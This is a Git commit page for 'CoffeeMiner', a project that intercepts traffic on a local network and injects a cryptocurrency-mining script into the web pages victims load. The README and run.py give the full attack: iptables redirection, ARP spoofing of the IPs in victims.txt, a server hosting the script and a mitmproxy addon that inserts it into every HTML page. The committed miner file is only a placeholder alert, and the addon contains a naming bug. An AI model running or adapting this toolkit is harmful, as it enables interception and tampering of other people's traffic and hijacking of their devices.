Browse Source

mitm script done, injector done

master
arnaucode 6 years ago
parent
commit
c5c24b6bd2
7 changed files with 158 additions and 0 deletions
  1. +70
    -0
      README.md
  2. +14
    -0
      httpServer.py
  3. +26
    -0
      injector.py
  4. +11
    -0
      install.sh
  5. +1
    -0
      miner_script/script.js
  6. +34
    -0
      run.py
  7. +2
    -0
      victims.txt

+ 70
- 0
README.md

@ -0,0 +1,70 @@
# CoffeeMiner
Collaborative Coffee Mining Pool.
**Warning: this project is only with academic purposes.**
## Concept
- Performs a MITM attack
- Injects a js script in all the HTML pages requested by the victims
- The js script injected contains a cryptocurrency miner
- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner
## Use
- install.sh
```
bash install.sh
```
- edit victims.txt with one IP per line
- run.py
```
python run.py ipgateway
```
---
#### Manual use
- needs to have installed **mitmproxy**
https://mitmproxy.org/
- installation:
```
sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
pip3 install --user mitmproxy
```
- needs python 3.*
- configure IPTABLES
```
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
```
- arpspoof to the victims
```
arpspoof -i eth0 -t <victim_ip> <gateway_ip>
arpspoof -i eth0 -t <gateway_ip> <victim_ip>
```
- execute the httpServer.py that will serve the script.js that contains the minner:
```
python httpServer.py
```
- execute the mitmproxy with the injector.py script:
```
#~/.local/bin/mitmdump -s "injector.py http://127.0.0.1:8000/script.js"
```

+ 14
- 0
httpServer.py

@ -0,0 +1,14 @@
#!/usr/bin/env python
import http.server
import socketserver
import os
PORT = 8000
web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
os.chdir(web_dir)
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at port", PORT)
httpd.serve_forever()

+ 26
- 0
injector.py

@ -0,0 +1,26 @@
# Usage: mitmdump -s "js_injector.py src"
# (this script works best with --anticache)
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
class Injector:
def load(self, loader):
loader.add_option(
"scr_url", str, "", "script_url to inject"
)
def response(self, flow: http.HTTPFlow) -> None:
if ctx.options.scr_url:
html = BeautifulSoup(flow.response.content, "html.parser")
if html.body:
script = html.new_tag(
"script",
src=context.src_url,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
context.log("Script injected.")
addons = [Injector()]

+ 11
- 0
install.sh

@ -0,0 +1,11 @@
#TODO put --yes to all installation commands
# install arpspoof (dsniff)
sudo apt-get install dsniff
# install mitmproxy
sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
pip3 install --user mitmproxy
# install BeautifulSoup
pip3 install beautifulsoup4

+ 1
- 0
miner_script/script.js

@ -0,0 +1 @@
alert("this will be the minner");

+ 34
- 0
run.py

@ -0,0 +1,34 @@
import os
import sys
#get gateway_ip (router)
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
# configure routing (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
# start the http server for serving the script.js, in a new console
os.system("xterm -hold -e 'python httpServer.py' &")
# start the mitmproxy
os.system("~/.local/bin/mitmdump -s 'injector.py http://127.0.0.1:8000/script.js'")
'''
# run sslstrip
os.system("xterm -e sslstrip -l 8080 &")
'''

+ 2
- 0
victims.txt

@ -0,0 +1,2 @@
192.168.1.30
192.168.1.31

Loading…
Cancel
Save